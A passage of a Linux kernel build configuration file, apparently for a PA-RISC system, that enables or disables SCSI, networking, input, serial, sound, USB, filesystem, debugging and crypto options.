# CONFIG_SCSI_NETLINK is not set
CONFIG_SCSI_PROC_FS=y

#
# SCSI support type (disk, tape, CD-ROM)
#
CONFIG_BLK_DEV_SD=y
CONFIG_CHR_DEV_ST=y
# CONFIG_CHR_DEV_OSST is not set
CONFIG_BLK_DEV_SR=y
# CONFIG_BLK_DEV_SR_VENDOR is not set
CONFIG_CHR_DEV_SG=y
# CONFIG_CHR_DEV_SCH is not set

#
# Some SCSI devices (e.g. CD jukebox) support multiple LUNs
#
CONFIG_SCSI_MULTI_LUN=y
# CONFIG_SCSI_CONSTANTS is not set
# CONFIG_SCSI_LOGGING is not set
# CONFIG_SCSI_SCAN_ASYNC is not set
CONFIG_SCSI_WAIT_SCAN=m

#
# SCSI Transports
#
CONFIG_SCSI_SPI_ATTRS=y
# CONFIG_SCSI_FC_ATTRS is not set
CONFIG_SCSI_ISCSI_ATTRS=m
# CONFIG_SCSI_SAS_LIBSAS is not set
# CONFIG_SCSI_SRP_ATTRS is not set
CONFIG_SCSI_LOWLEVEL=y
# CONFIG_ISCSI_TCP is not set
# CONFIG_BLK_DEV_3W_XXXX_RAID is not set
# CONFIG_SCSI_3W_9XXX is not set
# CONFIG_SCSI_ACARD is not set
# CONFIG_SCSI_AACRAID is not set
# CONFIG_SCSI_AIC7XXX is not set
# CONFIG_SCSI_AIC7XXX_OLD is not set
# CONFIG_SCSI_AIC79XX is not set
# CONFIG_SCSI_AIC94XX is not set
# CONFIG_SCSI_DPT_I2O is not set
# CONFIG_SCSI_ADVANSYS is not set
# CONFIG_SCSI_ARCMSR is not set
# CONFIG_MEGARAID_NEWGEN is not set
# CONFIG_MEGARAID_LEGACY is not set
# CONFIG_MEGARAID_SAS is not set
# CONFIG_SCSI_HPTIOP is not set
# CONFIG_SCSI_DMX3191D is not set
# CONFIG_SCSI_FUTURE_DOMAIN is not set
# CONFIG_SCSI_IPS is not set
# CONFIG_SCSI_INITIO is not set
# CONFIG_SCSI_INIA100 is not set
# CONFIG_SCSI_MVSAS is not set
# CONFIG_SCSI_STEX is not set
CONFIG_SCSI_SYM53C8XX_2=y
CONFIG_SCSI_SYM53C8XX_DMA_ADDRESSING_MODE=0
CONFIG_SCSI_SYM53C8XX_DEFAULT_TAGS=16
CONFIG_SCSI_SYM53C8XX_MAX_TAGS=64
CONFIG_SCSI_SYM53C8XX_MMIO=y
# CONFIG_SCSI_QLOGIC_1280 is not set
# CONFIG_SCSI_QLA_FC is not set
# CONFIG_SCSI_QLA_ISCSI is not set
# CONFIG_SCSI_LPFC is not set
# CONFIG_SCSI_DC395x is not set
# CONFIG_SCSI_DC390T is not set
# CONFIG_SCSI_NSP32 is not set
CONFIG_SCSI_DEBUG=m
# CONFIG_SCSI_SRP is not set
# CONFIG_ATA is not set
CONFIG_MD=y
CONFIG_BLK_DEV_MD=y
CONFIG_MD_LINEAR=y
CONFIG_MD_RAID0=y
CONFIG_MD_RAID1=y
# CONFIG_MD_RAID10 is not set
# CONFIG_MD_RAID456 is not set
# CONFIG_MD_MULTIPATH is not set
# CONFIG_MD_FAULTY is not set
CONFIG_BLK_DEV_DM=m
# CONFIG_DM_DEBUG is not set
CONFIG_DM_CRYPT=m
CONFIG_DM_SNAPSHOT=m
CONFIG_DM_MIRROR=m
CONFIG_DM_ZERO=m
CONFIG_DM_MULTIPATH=m
# CONFIG_DM_MULTIPATH_EMC is not set
# CONFIG_DM_MULTIPATH_RDAC is not set
# CONFIG_DM_MULTIPATH_HP is not set
# CONFIG_DM_DELAY is not set
# CONFIG_DM_UEVENT is not set
CONFIG_FUSION=y
CONFIG_FUSION_SPI=m
# CONFIG_FUSION_FC is not set
# CONFIG_FUSION_SAS is not set
CONFIG_FUSION_MAX_SGE=128
CONFIG_FUSION_CTL=m
# CONFIG_FUSION_LOGGING is not set

#
# IEEE 1394 (FireWire) support
#
# CONFIG_FIREWIRE is not set
# CONFIG_IEEE1394 is not set
# CONFIG_I2O is not set
CONFIG_NETDEVICES=y
# CONFIG_NETDEVICES_MULTIQUEUE is not set
CONFIG_DUMMY=m
CONFIG_BONDING=m
# CONFIG_MACVLAN is not set
# CONFIG_EQUALIZER is not set
CONFIG_TUN=m
# CONFIG_VETH is not set
# CONFIG_ARCNET is not set
# CONFIG_PHYLIB is not set
CONFIG_NET_ETHERNET=y
CONFIG_MII=m
# CONFIG_HAPPYMEAL is not set
# CONFIG_SUNGEM is not set
# CONFIG_CASSINI is not set
# CONFIG_NET_VENDOR_3COM is not set
CONFIG_NET_TULIP=y
CONFIG_DE2104X=m
CONFIG_TULIP=y
# CONFIG_TULIP_MWI is not set
CONFIG_TULIP_MMIO=y
# CONFIG_TULIP_NAPI is not set
# CONFIG_DE4X5 is not set
# CONFIG_WINBOND_840 is not set
# CONFIG_DM9102 is not set
# CONFIG_ULI526X is not set
# CONFIG_HP100 is not set
# CONFIG_IBM_NEW_EMAC_ZMII is not set
# CONFIG_IBM_NEW_EMAC_RGMII is not set
# CONFIG_IBM_NEW_EMAC_TAH is not set
# CONFIG_IBM_NEW_EMAC_EMAC4 is not set
CONFIG_NET_PCI=y
# CONFIG_PCNET32 is not set
# CONFIG_AMD8111_ETH is not set
# CONFIG_ADAPTEC_STARFIRE is not set
# CONFIG_B44 is not set
# CONFIG_FORCEDETH is not set
# CONFIG_EEPRO100 is not set
CONFIG_E100=m
# CONFIG_FEALNX is not set
# CONFIG_NATSEMI is not set
# CONFIG_NE2K_PCI is not set
# CONFIG_8139CP is not set
# CONFIG_8139TOO is not set
# CONFIG_R6040 is not set
# CONFIG_SIS900 is not set
# CONFIG_EPIC100 is not set
# CONFIG_SUNDANCE is not set
# CONFIG_TLAN is not set
# CONFIG_VIA_RHINE is not set
# CONFIG_SC92031 is not set
CONFIG_NETDEV_1000=y
CONFIG_ACENIC=m
# CONFIG_ACENIC_OMIT_TIGON_I is not set
# CONFIG_DL2K is not set
CONFIG_E1000=m
# CONFIG_E1000_NAPI is not set
# CONFIG_E1000_DISABLE_PACKET_SPLIT is not set
# CONFIG_E1000E is not set
# CONFIG_E1000E_ENABLED is not set
# CONFIG_IP1000 is not set
# CONFIG_IGB is not set
# CONFIG_NS83820 is not set
# CONFIG_HAMACHI is not set
# CONFIG_YELLOWFIN is not set
# CONFIG_R8169 is not set
# CONFIG_SIS190 is not set
# CONFIG_SKGE is not set
# CONFIG_SKY2 is not set
# CONFIG_SK98LIN is not set
# CONFIG_VIA_VELOCITY is not set
CONFIG_TIGON3=m
# CONFIG_BNX2 is not set
# CONFIG_QLA3XXX is not set
# CONFIG_ATL1 is not set
CONFIG_NETDEV_10000=y
# CONFIG_CHELSIO_T1 is not set
# CONFIG_CHELSIO_T3 is not set
# CONFIG_IXGBE is not set
# CONFIG_IXGB is not set
# CONFIG_S2IO is not set
# CONFIG_MYRI10GE is not set
# CONFIG_NETXEN_NIC is not set
# CONFIG_NIU is not set
# CONFIG_MLX4_CORE is not set
# CONFIG_TEHUTI is not set
# CONFIG_BNX2X is not set
# CONFIG_TR is not set

#
# Wireless LAN
#
# CONFIG_WLAN_PRE80211 is not set
# CONFIG_WLAN_80211 is not set

#
# USB Network Adapters
#
# CONFIG_USB_CATC is not set
# CONFIG_USB_KAWETH is not set
# CONFIG_USB_PEGASUS is not set
# CONFIG_USB_RTL8150 is not set
# CONFIG_USB_USBNET is not set
# CONFIG_WAN is not set
# CONFIG_FDDI is not set
# CONFIG_HIPPI is not set
CONFIG_PPP=m
# CONFIG_PPP_MULTILINK is not set
# CONFIG_PPP_FILTER is not set
CONFIG_PPP_ASYNC=m
CONFIG_PPP_SYNC_TTY=m
CONFIG_PPP_DEFLATE=m
CONFIG_PPP_BSDCOMP=m
# CONFIG_PPP_MPPE is not set
CONFIG_PPPOE=m
# CONFIG_PPPOL2TP is not set
# CONFIG_SLIP is not set
CONFIG_SLHC=m
# CONFIG_NET_FC is not set
# CONFIG_NETCONSOLE is not set
# CONFIG_NETPOLL is not set
# CONFIG_NET_POLL_CONTROLLER is not set
# CONFIG_ISDN is not set
# CONFIG_PHONE is not set

#
# Input device support
#
CONFIG_INPUT=y
# CONFIG_INPUT_FF_MEMLESS is not set
# CONFIG_INPUT_POLLDEV is not set

#
# Userland interfaces
#
CONFIG_INPUT_MOUSEDEV=y
# CONFIG_INPUT_MOUSEDEV_PSAUX is not set
CONFIG_INPUT_MOUSEDEV_SCREEN_X=1600
CONFIG_INPUT_MOUSEDEV_SCREEN_Y=1200
# CONFIG_INPUT_JOYDEV is not set
# CONFIG_INPUT_EVDEV is not set
# CONFIG_INPUT_EVBUG is not set

#
# Input Device Drivers
#
CONFIG_INPUT_KEYBOARD=y
# CONFIG_KEYBOARD_ATKBD is not set
# CONFIG_KEYBOARD_SUNKBD is not set
# CONFIG_KEYBOARD_LKKBD is not set
# CONFIG_KEYBOARD_XTKBD is not set
# CONFIG_KEYBOARD_NEWTON is not set
# CONFIG_KEYBOARD_STOWAWAY is not set
CONFIG_INPUT_MOUSE=y
# CONFIG_MOUSE_PS2 is not set
# CONFIG_MOUSE_SERIAL is not set
# CONFIG_MOUSE_APPLETOUCH is not set
# CONFIG_MOUSE_VSXXXAA is not set
# CONFIG_INPUT_JOYSTICK is not set
# CONFIG_INPUT_TABLET is not set
# CONFIG_INPUT_TOUCHSCREEN is not set
# CONFIG_INPUT_MISC is not set

#
# Hardware I/O ports
#
CONFIG_SERIO=m
CONFIG_SERIO_SERPORT=m
# CONFIG_SERIO_PCIPS2 is not set
CONFIG_SERIO_LIBPS2=m
# CONFIG_SERIO_RAW is not set
# CONFIG_GAMEPORT is not set

#
# Character devices
#
CONFIG_VT=y
CONFIG_VT_CONSOLE=y
CONFIG_HW_CONSOLE=y
# CONFIG_VT_HW_CONSOLE_BINDING is not set
# CONFIG_SERIAL_NONSTANDARD is not set
# CONFIG_NOZOMI is not set

#
# Serial drivers
#
CONFIG_SERIAL_8250=y
CONFIG_SERIAL_8250_CONSOLE=y
CONFIG_SERIAL_8250_PCI=y
CONFIG_SERIAL_8250_NR_UARTS=13
CONFIG_SERIAL_8250_RUNTIME_UARTS=4
CONFIG_SERIAL_8250_EXTENDED=y
CONFIG_SERIAL_8250_MANY_PORTS=y
CONFIG_SERIAL_8250_SHARE_IRQ=y
# CONFIG_SERIAL_8250_DETECT_IRQ is not set
# CONFIG_SERIAL_8250_RSA is not set

#
# Non-8250 serial port support
#
# CONFIG_PDC_CONSOLE is not set
CONFIG_SERIAL_CORE=y
CONFIG_SERIAL_CORE_CONSOLE=y
# CONFIG_SERIAL_JSM is not set
CONFIG_UNIX98_PTYS=y
CONFIG_LEGACY_PTYS=y
CONFIG_LEGACY_PTY_COUNT=256
# CONFIG_IPMI_HANDLER is not set
# CONFIG_HW_RANDOM is not set
CONFIG_GEN_RTC=y
CONFIG_GEN_RTC_X=y
# CONFIG_R3964 is not set
# CONFIG_APPLICOM is not set
CONFIG_RAW_DRIVER=y
CONFIG_MAX_RAW_DEVS=256
# CONFIG_TCG_TPM is not set
CONFIG_DEVPORT=y
# CONFIG_I2C is not set

#
# SPI support
#
# CONFIG_SPI is not set
# CONFIG_SPI_MASTER is not set
# CONFIG_W1 is not set
# CONFIG_POWER_SUPPLY is not set
# CONFIG_HWMON is not set
CONFIG_THERMAL=y
# CONFIG_WATCHDOG is not set

#
# Sonics Silicon Backplane
#
CONFIG_SSB_POSSIBLE=y
# CONFIG_SSB is not set

#
# Multifunction device drivers
#
# CONFIG_MFD_SM501 is not set

#
# Multimedia devices
#
# CONFIG_VIDEO_DEV is not set
# CONFIG_DVB_CORE is not set
CONFIG_DAB=y
# CONFIG_USB_DABUSB is not set

#
# Graphics support
#
# CONFIG_AGP is not set
# CONFIG_DRM is not set
# CONFIG_VGASTATE is not set
# CONFIG_VIDEO_OUTPUT_CONTROL is not set
CONFIG_FB=y
# CONFIG_FIRMWARE_EDID is not set
# CONFIG_FB_DDC is not set
CONFIG_FB_CFB_FILLRECT=y
CONFIG_FB_CFB_COPYAREA=y
CONFIG_FB_CFB_IMAGEBLIT=y
# CONFIG_FB_CFB_REV_PIXELS_IN_BYTE is not set
# CONFIG_FB_SYS_FILLRECT is not set
# CONFIG_FB_SYS_COPYAREA is not set
# CONFIG_FB_SYS_IMAGEBLIT is not set
# CONFIG_FB_SYS_FOPS is not set
CONFIG_FB_DEFERRED_IO=y
# CONFIG_FB_SVGALIB is not set
# CONFIG_FB_MACMODES is not set
# CONFIG_FB_BACKLIGHT is not set
# CONFIG_FB_MODE_HELPERS is not set
# CONFIG_FB_TILEBLITTING is not set

#
# Frame buffer hardware drivers
#
# CONFIG_FB_CIRRUS is not set
# CONFIG_FB_PM2 is not set
# CONFIG_FB_CYBER2000 is not set
# CONFIG_FB_ASILIANT is not set
# CONFIG_FB_IMSTT is not set
CONFIG_FB_STI=y
# CONFIG_FB_S1D13XXX is not set
# CONFIG_FB_NVIDIA is not set
# CONFIG_FB_RIVA is not set
# CONFIG_FB_MATROX is not set
# CONFIG_FB_RADEON is not set
# CONFIG_FB_ATY128 is not set
# CONFIG_FB_ATY is not set
# CONFIG_FB_S3 is not set
# CONFIG_FB_SAVAGE is not set
# CONFIG_FB_SIS is not set
# CONFIG_FB_NEOMAGIC is not set
# CONFIG_FB_KYRO is not set
# CONFIG_FB_3DFX is not set
# CONFIG_FB_VOODOO1 is not set
# CONFIG_FB_VT8623 is not set
# CONFIG_FB_TRIDENT is not set
# CONFIG_FB_ARK is not set
# CONFIG_FB_PM3 is not set
# CONFIG_FB_VIRTUAL is not set
# CONFIG_BACKLIGHT_LCD_SUPPORT is not set

#
# Display device support
#
CONFIG_DISPLAY_SUPPORT=y

#
# Display hardware drivers
#

#
# Console display driver support
#
CONFIG_DUMMY_CONSOLE=y
CONFIG_DUMMY_CONSOLE_COLUMNS=160
CONFIG_DUMMY_CONSOLE_ROWS=64
CONFIG_FRAMEBUFFER_CONSOLE=y
# CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY is not set
# CONFIG_FRAMEBUFFER_CONSOLE_ROTATION is not set
CONFIG_STI_CONSOLE=y
# CONFIG_FONTS is not set
CONFIG_FONT_8x8=y
CONFIG_FONT_8x16=y
CONFIG_LOGO=y
# CONFIG_LOGO_LINUX_MONO is not set
# CONFIG_LOGO_LINUX_VGA16 is not set
# CONFIG_LOGO_LINUX_CLUT224 is not set
CONFIG_LOGO_PARISC_CLUT224=y

#
# Sound
#
CONFIG_SOUND=y

#
# Advanced Linux Sound Architecture
#
CONFIG_SND=y
CONFIG_SND_TIMER=y
CONFIG_SND_PCM=y
CONFIG_SND_SEQUENCER=y
# CONFIG_SND_SEQ_DUMMY is not set
CONFIG_SND_OSSEMUL=y
CONFIG_SND_MIXER_OSS=y
CONFIG_SND_PCM_OSS=y
CONFIG_SND_PCM_OSS_PLUGINS=y
CONFIG_SND_SEQUENCER_OSS=y
# CONFIG_SND_DYNAMIC_MINORS is not set
CONFIG_SND_SUPPORT_OLD_API=y
CONFIG_SND_VERBOSE_PROCFS=y
# CONFIG_SND_VERBOSE_PRINTK is not set
# CONFIG_SND_DEBUG is not set

#
# Generic devices
#
CONFIG_SND_AC97_CODEC=y
# CONFIG_SND_DUMMY is not set
# CONFIG_SND_VIRMIDI is not set
# CONFIG_SND_MTPAV is not set
# CONFIG_SND_SERIAL_U16550 is not set
# CONFIG_SND_MPU401 is not set

#
# PCI devices
#
CONFIG_SND_AD1889=y
# CONFIG_SND_ALS300 is not set
# CONFIG_SND_ALI5451 is not set
# CONFIG_SND_ATIIXP is not set
# CONFIG_SND_ATIIXP_MODEM is not set
# CONFIG_SND_AU8810 is not set
# CONFIG_SND_AU8820 is not set
# CONFIG_SND_AU8830 is not set
# CONFIG_SND_AZT3328 is not set
# CONFIG_SND_BT87X is not set
# CONFIG_SND_CA0106 is not set
# CONFIG_SND_CMIPCI is not set
# CONFIG_SND_OXYGEN is not set
# CONFIG_SND_CS4281 is not set
# CONFIG_SND_CS46XX is not set
# CONFIG_SND_DARLA20 is not set
# CONFIG_SND_GINA20 is not set
# CONFIG_SND_LAYLA20 is not set
# CONFIG_SND_DARLA24 is not set
# CONFIG_SND_GINA24 is not set
# CONFIG_SND_LAYLA24 is not set
# CONFIG_SND_MONA is not set
# CONFIG_SND_MIA is not set
# CONFIG_SND_ECHO3G is not set
# CONFIG_SND_INDIGO is not set
# CONFIG_SND_INDIGOIO is not set
# CONFIG_SND_INDIGODJ is not set
# CONFIG_SND_EMU10K1 is not set
# CONFIG_SND_EMU10K1X is not set
# CONFIG_SND_ENS1370 is not set
# CONFIG_SND_ENS1371 is not set
# CONFIG_SND_ES1938 is not set
# CONFIG_SND_ES1968 is not set
# CONFIG_SND_FM801 is not set
# CONFIG_SND_HDA_INTEL is not set
# CONFIG_SND_HDSP is not set
# CONFIG_SND_HDSPM is not set
# CONFIG_SND_HIFIER is not set
# CONFIG_SND_ICE1712 is not set
# CONFIG_SND_ICE1724 is not set
# CONFIG_SND_INTEL8X0 is not set
# CONFIG_SND_INTEL8X0M is not set
# CONFIG_SND_KORG1212 is not set
# CONFIG_SND_MAESTRO3 is not set
# CONFIG_SND_MIXART is not set
# CONFIG_SND_NM256 is not set
# CONFIG_SND_PCXHR is not set
# CONFIG_SND_RIPTIDE is not set
# CONFIG_SND_RME32 is not set
# CONFIG_SND_RME96 is not set
# CONFIG_SND_RME9652 is not set
# CONFIG_SND_SONICVIBES is not set
# CONFIG_SND_TRIDENT is not set
# CONFIG_SND_VIA82XX is not set
# CONFIG_SND_VIA82XX_MODEM is not set
# CONFIG_SND_VIRTUOSO is not set
# CONFIG_SND_VX222 is not set
# CONFIG_SND_YMFPCI is not set
# CONFIG_SND_AC97_POWER_SAVE is not set

#
# USB devices
#
# CONFIG_SND_USB_AUDIO is not set
# CONFIG_SND_USB_CAIAQ is not set

#
# System on Chip audio support
#
# CONFIG_SND_SOC is not set

#
# SoC Audio support for SuperH
#

#
# ALSA SoC audio for Freescale SOCs
#

#
# Open Sound System
#
# CONFIG_SOUND_PRIME is not set
CONFIG_AC97_BUS=y
CONFIG_HID_SUPPORT=y
CONFIG_HID=y
# CONFIG_HID_DEBUG is not set
# CONFIG_HIDRAW is not set

#
# USB Input Devices
#
CONFIG_USB_HID=y
# CONFIG_USB_HIDINPUT_POWERBOOK is not set
# CONFIG_HID_FF is not set
CONFIG_USB_HIDDEV=y
CONFIG_USB_SUPPORT=y
CONFIG_USB_ARCH_HAS_HCD=y
CONFIG_USB_ARCH_HAS_OHCI=y
CONFIG_USB_ARCH_HAS_EHCI=y
CONFIG_USB=y
CONFIG_USB_DEBUG=y
# CONFIG_USB_ANNOUNCE_NEW_DEVICES is not set

#
# Miscellaneous USB options
#
CONFIG_USB_DEVICEFS=y
CONFIG_USB_DEVICE_CLASS=y
# CONFIG_USB_DYNAMIC_MINORS is not set
# CONFIG_USB_OTG is not set

#
# USB Host Controller Drivers
#
# CONFIG_USB_EHCI_HCD is not set
# CONFIG_USB_ISP116X_HCD is not set
CONFIG_USB_OHCI_HCD=y
# CONFIG_USB_OHCI_BIG_ENDIAN_DESC is not set
# CONFIG_USB_OHCI_BIG_ENDIAN_MMIO is not set
CONFIG_USB_OHCI_LITTLE_ENDIAN=y
# CONFIG_USB_UHCI_HCD is not set
# CONFIG_USB_SL811_HCD is not set
# CONFIG_USB_R8A66597_HCD is not set

#
# USB Device Class drivers
#
# CONFIG_USB_ACM is not set
CONFIG_USB_PRINTER=m

#
# NOTE: USB_STORAGE enables SCSI, and 'SCSI disk support'
#

#
# may also be needed; see USB_STORAGE Help for more information
#
CONFIG_USB_STORAGE=m
# CONFIG_USB_STORAGE_DEBUG is not set
# CONFIG_USB_STORAGE_DATAFAB is not set
# CONFIG_USB_STORAGE_FREECOM is not set
# CONFIG_USB_STORAGE_ISD200 is not set
CONFIG_USB_STORAGE_DPCM=y
CONFIG_USB_STORAGE_USBAT=y
CONFIG_USB_STORAGE_SDDR09=y
CONFIG_USB_STORAGE_SDDR55=y
CONFIG_USB_STORAGE_JUMPSHOT=y
# CONFIG_USB_STORAGE_ALAUDA is not set
# CONFIG_USB_STORAGE_KARMA is not set
# CONFIG_USB_LIBUSUAL is not set

#
# USB Imaging devices
#
CONFIG_USB_MDC800=m
CONFIG_USB_MICROTEK=m
# CONFIG_USB_MON is not set

#
# USB port drivers
#
# CONFIG_USB_SERIAL is not set

#
# USB Miscellaneous drivers
#
# CONFIG_USB_EMI62 is not set
# CONFIG_USB_EMI26 is not set
# CONFIG_USB_ADUTUX is not set
# CONFIG_USB_AUERSWALD is not set
# CONFIG_USB_RIO500 is not set
CONFIG_USB_LEGOTOWER=m
# CONFIG_USB_LCD is not set
# CONFIG_USB_BERRY_CHARGE is not set
# CONFIG_USB_LED is not set
# CONFIG_USB_CYPRESS_CY7C63 is not set
# CONFIG_USB_CYTHERM is not set
# CONFIG_USB_PHIDGET is not set
# CONFIG_USB_IDMOUSE is not set
# CONFIG_USB_FTDI_ELAN is not set
# CONFIG_USB_APPLEDISPLAY is not set
# CONFIG_USB_LD is not set
# CONFIG_USB_TRANCEVIBRATOR is not set
# CONFIG_USB_IOWARRIOR is not set
# CONFIG_USB_TEST is not set
# CONFIG_USB_GADGET is not set
# CONFIG_MMC is not set
# CONFIG_MEMSTICK is not set
# CONFIG_NEW_LEDS is not set
# CONFIG_INFINIBAND is not set
# CONFIG_RTC_CLASS is not set

#
# Userspace I/O
#
# CONFIG_UIO is not set

#
# File systems
#
CONFIG_EXT2_FS=y
# CONFIG_EXT2_FS_XATTR is not set
# CONFIG_EXT2_FS_XIP is not set
CONFIG_EXT3_FS=y
# CONFIG_EXT3_FS_XATTR is not set
# CONFIG_EXT4DEV_FS is not set
CONFIG_JBD=y
# CONFIG_JBD_DEBUG is not set
# CONFIG_REISERFS_FS is not set
# CONFIG_JFS_FS is not set
# CONFIG_FS_POSIX_ACL is not set
CONFIG_XFS_FS=m
# CONFIG_XFS_QUOTA is not set
# CONFIG_XFS_SECURITY is not set
# CONFIG_XFS_POSIX_ACL is not set
# CONFIG_XFS_RT is not set
# CONFIG_GFS2_FS is not set
# CONFIG_OCFS2_FS is not set
CONFIG_DNOTIFY=y
CONFIG_INOTIFY=y
CONFIG_INOTIFY_USER=y
# CONFIG_QUOTA is not set
# CONFIG_AUTOFS_FS is not set
CONFIG_AUTOFS4_FS=y
# CONFIG_FUSE_FS is not set

#
# CD-ROM/DVD Filesystems
#
CONFIG_ISO9660_FS=y
CONFIG_JOLIET=y
# CONFIG_ZISOFS is not set
# CONFIG_UDF_FS is not set

#
# DOS/FAT/NT Filesystems
#
CONFIG_FAT_FS=m
CONFIG_MSDOS_FS=m
CONFIG_VFAT_FS=m
CONFIG_FAT_DEFAULT_CODEPAGE=437
CONFIG_FAT_DEFAULT_IOCHARSET="iso8859-1"
# CONFIG_NTFS_FS is not set

#
# Pseudo filesystems
#
CONFIG_PROC_FS=y
CONFIG_PROC_KCORE=y
CONFIG_PROC_SYSCTL=y
CONFIG_SYSFS=y
CONFIG_TMPFS=y
# CONFIG_TMPFS_POSIX_ACL is not set
# CONFIG_HUGETLB_PAGE is not set
# CONFIG_CONFIGFS_FS is not set

#
# Miscellaneous filesystems
#
# CONFIG_ADFS_FS is not set
# CONFIG_AFFS_FS is not set
# CONFIG_HFS_FS is not set
# CONFIG_HFSPLUS_FS is not set
# CONFIG_BEFS_FS is not set
# CONFIG_BFS_FS is not set
# CONFIG_EFS_FS is not set
# CONFIG_CRAMFS is not set
# CONFIG_VXFS_FS is not set
# CONFIG_MINIX_FS is not set
# CONFIG_HPFS_FS is not set
# CONFIG_QNX4FS_FS is not set
# CONFIG_ROMFS_FS is not set
# CONFIG_SYSV_FS is not set
# CONFIG_UFS_FS is not set
CONFIG_NETWORK_FILESYSTEMS=y
CONFIG_NFS_FS=y
CONFIG_NFS_V3=y
# CONFIG_NFS_V3_ACL is not set
# CONFIG_NFS_V4 is not set
# CONFIG_NFS_DIRECTIO is not set
CONFIG_NFSD=y
CONFIG_NFSD_V3=y
# CONFIG_NFSD_V3_ACL is not set
# CONFIG_NFSD_V4 is not set
# CONFIG_NFSD_TCP is not set
CONFIG_ROOT_NFS=y
CONFIG_LOCKD=y
CONFIG_LOCKD_V4=y
CONFIG_EXPORTFS=y
CONFIG_NFS_COMMON=y
CONFIG_SUNRPC=y
# CONFIG_SUNRPC_BIND34 is not set
# CONFIG_RPCSEC_GSS_KRB5 is not set
# CONFIG_RPCSEC_GSS_SPKM3 is not set
# CONFIG_SMB_FS is not set
# CONFIG_CIFS is not set
# CONFIG_NCP_FS is not set
# CONFIG_CODA_FS is not set
# CONFIG_AFS_FS is not set

#
# Partition Types
#
# CONFIG_PARTITION_ADVANCED is not set
CONFIG_MSDOS_PARTITION=y
CONFIG_NLS=y
CONFIG_NLS_DEFAULT="iso8859-1"
CONFIG_NLS_CODEPAGE_437=m
# CONFIG_NLS_CODEPAGE_737 is not set
# CONFIG_NLS_CODEPAGE_775 is not set
CONFIG_NLS_CODEPAGE_850=m
# CONFIG_NLS_CODEPAGE_852 is not set
# CONFIG_NLS_CODEPAGE_855 is not set
# CONFIG_NLS_CODEPAGE_857 is not set
# CONFIG_NLS_CODEPAGE_860 is not set
# CONFIG_NLS_CODEPAGE_861 is not set
# CONFIG_NLS_CODEPAGE_862 is not set
# CONFIG_NLS_CODEPAGE_863 is not set
# CONFIG_NLS_CODEPAGE_864 is not set
# CONFIG_NLS_CODEPAGE_865 is not set
# CONFIG_NLS_CODEPAGE_866 is not set
# CONFIG_NLS_CODEPAGE_869 is not set
# CONFIG_NLS_CODEPAGE_936 is not set
# CONFIG_NLS_CODEPAGE_950 is not set
# CONFIG_NLS_CODEPAGE_932 is not set
# CONFIG_NLS_CODEPAGE_949 is not set
# CONFIG_NLS_CODEPAGE_874 is not set
# CONFIG_NLS_ISO8859_8 is not set
# CONFIG_NLS_CODEPAGE_1250 is not set
# CONFIG_NLS_CODEPAGE_1251 is not set
CONFIG_NLS_ASCII=m
CONFIG_NLS_ISO8859_1=m
# CONFIG_NLS_ISO8859_2 is not set
# CONFIG_NLS_ISO8859_3 is not set
# CONFIG_NLS_ISO8859_4 is not set
# CONFIG_NLS_ISO8859_5 is not set
# CONFIG_NLS_ISO8859_6 is not set
# CONFIG_NLS_ISO8859_7 is not set
# CONFIG_NLS_ISO8859_9 is not set
# CONFIG_NLS_ISO8859_13 is not set
# CONFIG_NLS_ISO8859_14 is not set
CONFIG_NLS_ISO8859_15=m
# CONFIG_NLS_KOI8_R is not set
# CONFIG_NLS_KOI8_U is not set
CONFIG_NLS_UTF8=m
# CONFIG_DLM is not set

#
# Kernel hacking
#
# CONFIG_PRINTK_TIME is not set
CONFIG_ENABLE_WARN_DEPRECATED=y
CONFIG_ENABLE_MUST_CHECK=y
CONFIG_MAGIC_SYSRQ=y
# CONFIG_UNUSED_SYMBOLS is not set
CONFIG_DEBUG_FS=y
# CONFIG_HEADERS_CHECK is not set
CONFIG_DEBUG_KERNEL=y
# CONFIG_DEBUG_SHIRQ is not set
CONFIG_DETECT_SOFTLOCKUP=y
CONFIG_SCHED_DEBUG=y
# CONFIG_SCHEDSTATS is not set
# CONFIG_TIMER_STATS is not set
# CONFIG_DEBUG_SLAB is not set
# CONFIG_DEBUG_RT_MUTEXES is not set
# CONFIG_RT_MUTEX_TESTER is not set
# CONFIG_DEBUG_SPINLOCK is not set
CONFIG_DEBUG_MUTEXES=y
# CONFIG_DEBUG_SPINLOCK_SLEEP is not set
# CONFIG_DEBUG_LOCKING_API_SELFTESTS is not set
# CONFIG_DEBUG_KOBJECT is not set
# CONFIG_DEBUG_BUGVERBOSE is not set
# CONFIG_DEBUG_INFO is not set
# CONFIG_DEBUG_VM is not set
# CONFIG_DEBUG_LIST is not set
# CONFIG_DEBUG_SG is not set
# CONFIG_BOOT_PRINTK_DELAY is not set
# CONFIG_RCU_TORTURE_TEST is not set
# CONFIG_BACKTRACE_SELF_TEST is not set
# CONFIG_FAULT_INJECTION is not set
# CONFIG_SAMPLES is not set
CONFIG_DEBUG_RODATA=y

#
# Security options
#
# CONFIG_KEYS is not set
# CONFIG_SECURITY is not set
# CONFIG_SECURITY_FILE_CAPABILITIES is not set
CONFIG_CRYPTO=y
CONFIG_CRYPTO_ALGAPI=m
CONFIG_CRYPTO_AEAD=m
CONFIG_CRYPTO_BLKCIPHER=m
# CONFIG_CRYPTO_SEQIV is not set
CONFIG_CRYPTO_MANAGER=m
# CONFIG_CRYPTO_HMAC is not set
# CONFIG_CRYPTO_XCBC is not set
CONFIG_CRYPTO_NULL=m
# CONFIG_CRYPTO_MD4 is not set
CONFIG_CRYPTO_MD5=m
# CONFIG_CRYPTO_SHA1 is not set
# CONFIG_CRYPTO_SHA256 is not set
# CONFIG_CRYPTO_SHA512 is not set
# CONFIG_CRYPTO_WP512 is not set
# CONFIG_CRYPTO_TGR192 is not set
# CONFIG_CRYPTO_GF128MUL is not set
CONFIG_CRYPTO_ECB=m
CONFIG_CRYPTO_CBC=m
CONFIG_CRYPTO_PCBC=m
# CONFIG_CRYPTO_LRW is not set
# CONFIG_CRYPTO_XTS is not set
# CONFIG_CRYPTO_CTR is not set
# CONFIG_CRYPTO_GCM is not set
# CONFIG_CRYPTO_CCM is not set
# CONFIG_CRYPTO_CRYPTD is not set
CONFIG_CRYPTO_DES=m
# CONFIG_CRYPTO_FCRYPT is not set
CONFIG_CRYPTO_BLOWFISH=m
# CONFIG_CRYPTO_TWOFISH is not set
# CONFIG_CRYPTO_SERPENT is not set
# CONFIG_CRYPTO_AES is not set
# CONFIG_CRYPTO_CAST5 is not set
# CONFIG_CRYPTO_CAST6 is not set
# CONFIG_CRYPTO_TEA is not set
# CONFIG_CRYPTO_ARC4 is not set
